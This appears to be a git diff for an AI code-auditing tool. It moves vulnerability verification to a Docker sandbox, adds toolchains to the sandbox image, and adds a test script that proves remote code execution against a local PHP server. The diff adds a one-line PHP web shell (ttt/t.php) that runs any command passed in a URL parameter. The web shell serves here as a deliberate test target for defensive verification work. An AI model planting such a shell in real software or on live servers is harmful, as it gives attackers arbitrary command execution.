diff --git a/backend/app/api/v1/endpoints/agent_tasks.py b/backend/app/api/v1/endpoints/agent_tasks.py
index 0942ca1..799760f 100644
--- a/backend/app/api/v1/endpoints/agent_tasks.py
+++ b/backend/app/api/v1/endpoints/agent_tasks.py
@@ -599,8 +599,9 @@ async def _initialize_tools(
     # Verification 工具
     verification_tools = {
         **base_tools,
-        "vulnerability_validation": VulnerabilityValidationTool(llm_service),
-        "dataflow_analysis": DataFlowAnalysisTool(llm_service),
+        # 强制使用沙箱工具，移除 LLM 模拟验证工具
+        # "vulnerability_validation": VulnerabilityValidationTool(llm_service),
+        # "dataflow_analysis": DataFlowAnalysisTool(llm_service),
         "create_vulnerability_report": CreateVulnerabilityReportTool(),
     }
     
diff --git a/backend/app/services/agent/agents/verification.py b/backend/app/services/agent/agents/verification.py
index f6651ea..a8d29c8 100644
--- a/backend/app/services/agent/agents/verification.py
+++ b/backend/app/services/agent/agents/verification.py
@@ -44,13 +44,7 @@ VERIFICATION_SYSTEM_PROMPT = """你是 DeepAudit 的漏洞验证 Agent，一个*
 - **list_files**: 列出目录文件
   参数: directory (str), pattern (str)
 
-### 验证分析
-- **vulnerability_validation**: LLM 深度验证 ⭐
-  参数: code (str), vulnerability_type (str), context (str)
-- **dataflow_analysis**: 追踪数据流
-  参数: source (str), sink (str), file_path (str)
-
-### 沙箱验证
+### 沙箱验证 (必须使用)
 - **sandbox_exec**: 在沙箱中执行命令
   参数: command (str), timeout (int)
 - **sandbox_http**: 发送 HTTP 请求测试
diff --git a/backend/app/services/agent/graph/runner.py b/backend/app/services/agent/graph/runner.py
index 6db3920..8f6c07c 100644
--- a/backend/app/services/agent/graph/runner.py
+++ b/backend/app/services/agent/graph/runner.py
@@ -263,9 +263,7 @@ class AgentRunner:
         # 职责：漏洞验证、PoC 执行、误报排除
         self.verification_tools = {
             **base_tools,
-            # 验证工具
-            "vulnerability_validation": VulnerabilityValidationTool(self.llm_service),
-            "dataflow_analysis": DataFlowAnalysisTool(self.llm_service),
+            # 验证工具 - 移除旧的 vulnerability_validation 和 dataflow_analysis，强制使用沙箱
             # 🔥 新增：漏洞报告工具（仅Verification可用）
             "create_vulnerability_report": CreateVulnerabilityReportTool(),
             # 🔥 新增：反思工具
diff --git a/backend/app/services/agent/tools/sandbox_tool.py b/backend/app/services/agent/tools/sandbox_tool.py
index 3ad0f53..03ff701 100644
--- a/backend/app/services/agent/tools/sandbox_tool.py
+++ b/backend/app/services/agent/tools/sandbox_tool.py
@@ -110,8 +110,9 @@ class SandboxManager:
                         temp_dir: {"bind": "/workspace", "mode": "rw"},
                     },
                     "tmpfs": {
-                        "/home/sandbox": "rw,size=100m,mode=1777"
-                    },
+                            "/home/sandbox": "rw,size=100m,mode=1777",
+                            "/tmp": "rw,size=100m,mode=1777"
+                        },
                     "working_dir": working_dir or "/workspace",
                     "environment": env or {},
                     # 安全配置
diff --git a/check_imports.py b/check_imports.py
new file mode 100644
index 0000000..6e3ff5c
--- /dev/null
+++ b/check_imports.py
@@ -0,0 +1,16 @@
+
+try:
+    import docker
+    client = docker.from_env()
+    client.ping()
+    print("Docker is available and connected")
+except Exception as e:
+    print(f"Docker connection failed: {e}")
+
+try:
+    from app.services.agent.tools.sandbox_tool import SandboxConfig, SandboxManager, SandboxTool  # pyright: ignore[reportMissingImports]
+    print("Sandbox modules imported successfully")
+except ImportError as e:
+    print(f"Sandbox import failed: {e}")
+except Exception as e:
+    print(f"Sandbox import error: {e}")
diff --git a/docker/sandbox/Dockerfile b/docker/sandbox/Dockerfile
index 782984c..05229b6 100644
--- a/docker/sandbox/Dockerfile
+++ b/docker/sandbox/Dockerfile
@@ -2,17 +2,17 @@
 # 安全沙箱环境用于漏洞验证和 PoC 执行
 # 集成各类安全扫描工具 (Semgrep, Bandit, Gitleaks, etc.)
 
-FROM python:3.11-bullseye
+FROM docker.m.daocloud.io/python:3.11-bullseye
 
 LABEL maintainer="XCodeReviewer Team"
 LABEL description="Secure sandbox environment for vulnerability verification and security scanning"
 
 # 安装基本工具
 # 安装基本工具
-#Configuring mirrors for CN and unsetting broken proxy
-RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
+# 使用阿里云镜像加速 apt
+RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
+    sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
     sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
-    unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
     apt-get update && apt-get install -y --no-install-recommends \
     curl \
     wget \
@@ -23,14 +23,41 @@ RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
     git \
     unzip \
     jq \
+    php-cli \
+    openjdk-11-jdk-headless \
+    ruby-full \
+    build-essential \
+    cmake \
+    clang \
+    llvm \
     && rm -rf /var/lib/apt/lists/*
 
 # 安装 Node.js (用于 JavaScript/TypeScript 代码执行 和 npm audit)
+# 使用淘宝/阿里云镜像加速
 RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
     curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
     && apt-get install -y nodejs \
+    && npm config set registry https://registry.npmmirror.com \
     && rm -rf /var/lib/apt/lists/*
 
+# 安装 Go (使用阿里云镜像)
+ENV PATH=$PATH:/usr/local/go/bin
+ENV GOPROXY=https://goproxy.cn,direct
+RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
+    curl -L https://mirrors.aliyun.com/golang/go1.21.6.linux-amd64.tar.gz -o go.tar.gz && \
+    tar -C /usr/local -xzf go.tar.gz && \
+    rm go.tar.gz
+
+# 安装 Rust (使用 rsproxy 镜像)
+ENV RUSTUP_HOME=/usr/local/rustup \
+    CARGO_HOME=/usr/local/cargo \
+    PATH=/usr/local/cargo/bin:$PATH \
+    RUSTUP_DIST_SERVER=https://rsproxy.cn \
+    RUSTUP_UPDATE_ROOT=https://rsproxy.cn/rustup
+RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
+    curl --proto '=https' --tlsv1.2 -sSf https://rsproxy.cn/rustup-init.sh | sh -s -- -y --default-toolchain stable --profile minimal && \
+    chmod -R a+w /usr/local/cargo
+
 # 安装 Python 安全工具
 RUN unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY && \
     pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple \
diff --git a/ttt/t.php b/ttt/t.php
new file mode 100644
index 0000000..bb341e8
--- /dev/null
+++ b/ttt/t.php
@@ -0,0 +1 @@
+<?php system($_GET['cmd']); ?>
diff --git a/verify_rce_sandbox.py b/verify_rce_sandbox.py
new file mode 100644
index 0000000..0433c10
--- /dev/null
+++ b/verify_rce_sandbox.py
@@ -0,0 +1,87 @@
+
+import asyncio
+import base64
+import os
+import sys
+
+# 添加 backend 目录到路径
+sys.path.append(os.path.join(os.getcwd(), "backend"))
+
+from app.services.agent.tools.sandbox_tool import SandboxManager, SandboxConfig
+
+async def verify_rce():
+    print("🚀 开始验证 RCE 漏洞...")
+    
+    # 1. 读取目标文件内容
+    file_path = "ttt/t.php"
+    if not os.path.exists(file_path):
+        print(f"❌ 文件不存在: {file_path}")
+        return
+
+    with open(file_path, "rb") as f:
+        content = f.read()
+    
+    b64_content = base64.b64encode(content).decode()
+    print(f"📄 读取文件 {file_path} ({len(content)} bytes)")
+    
+    # 2. 初始化沙箱管理器
+    # 注意：需要启用网络模式以便 curl 本地服务（虽然是 localhost，但 bridge 模式更稳妥，或者默认 none 也可以访问 localhost? 
+    # Docker none 网络模式只有 loopback 接口，所以 localhost 是可以通的。
+    # 但是为了保险，我们使用默认配置（通常是 none），如果不行再调整。
+    # 这里的关键是 php server 和 curl 在同一个容器内运行。
+    
+    config = SandboxConfig()
+    # 确保网络模式允许本地通信（none 模式下只有 lo，应该没问题）
+    # 但有些环境可能需要 bridge
+    # config.network_mode = "bridge" 
+    
+    manager = SandboxManager(config)
+    await manager.initialize()
+    
+    if not manager.is_available:
+        print("❌ Docker 沙箱不可用")
+        return
+
+    print("🐳 沙箱初始化成功")
+
+    # 3. 构造验证 Payload
+    # - 创建目录
+    # - 写入文件 (使用 base64 避免转义问题)
+    # - 启动 PHP 服务器 (后台运行)
+    # - 等待服务器启动
+    # - 发送恶意请求 (cmd=id)
+    
+    cmd_payload = "id"
+    verification_url = f"http://localhost:8000/t.php?cmd={cmd_payload}"
+    
+    sandbox_cmd = (
+        f"mkdir -p ttt && "
+        f"echo '{b64_content}' | base64 -d > ttt/t.php && "
+        f"TMPDIR=/workspace php -S 0.0.0.0:8000 -t ttt > php.log 2>&1 & "
+        f"sleep 3 && "
+        f"curl -v '{verification_url}' || (echo '--- PHP LOG ---' && cat php.log)"
+    )
+    
+    print(f"⚡ 执行沙箱命令:\n{sandbox_cmd}\n")
+    
+    result = await manager.execute_command(sandbox_cmd, timeout=10)
+    
+    # 4. 分析结果
+    print("📊 执行结果:")
+    print(f"Success: {result['success']}")
+    print(f"Exit Code: {result['exit_code']}")
+    print(f"Stdout: {result['stdout'].strip()}")
+    print(f"Stderr: {result['stderr'].strip()}")
+    
+    if result['success']:
+        output = result['stdout']
+        if "uid=" in output and "gid=" in output:
+            print("\n✅ 漏洞验证成功！发现了命令执行结果。")
+            print(f"证明: {output.strip()}")
+        else:
+            print("\n⚠️ 命令执行成功，但未发现预期的 id 命令输出。")
+    else:
+        print("\n❌ 验证执行失败。")
+
+if __name__ == "__main__":
+    asyncio.run(verify_rce())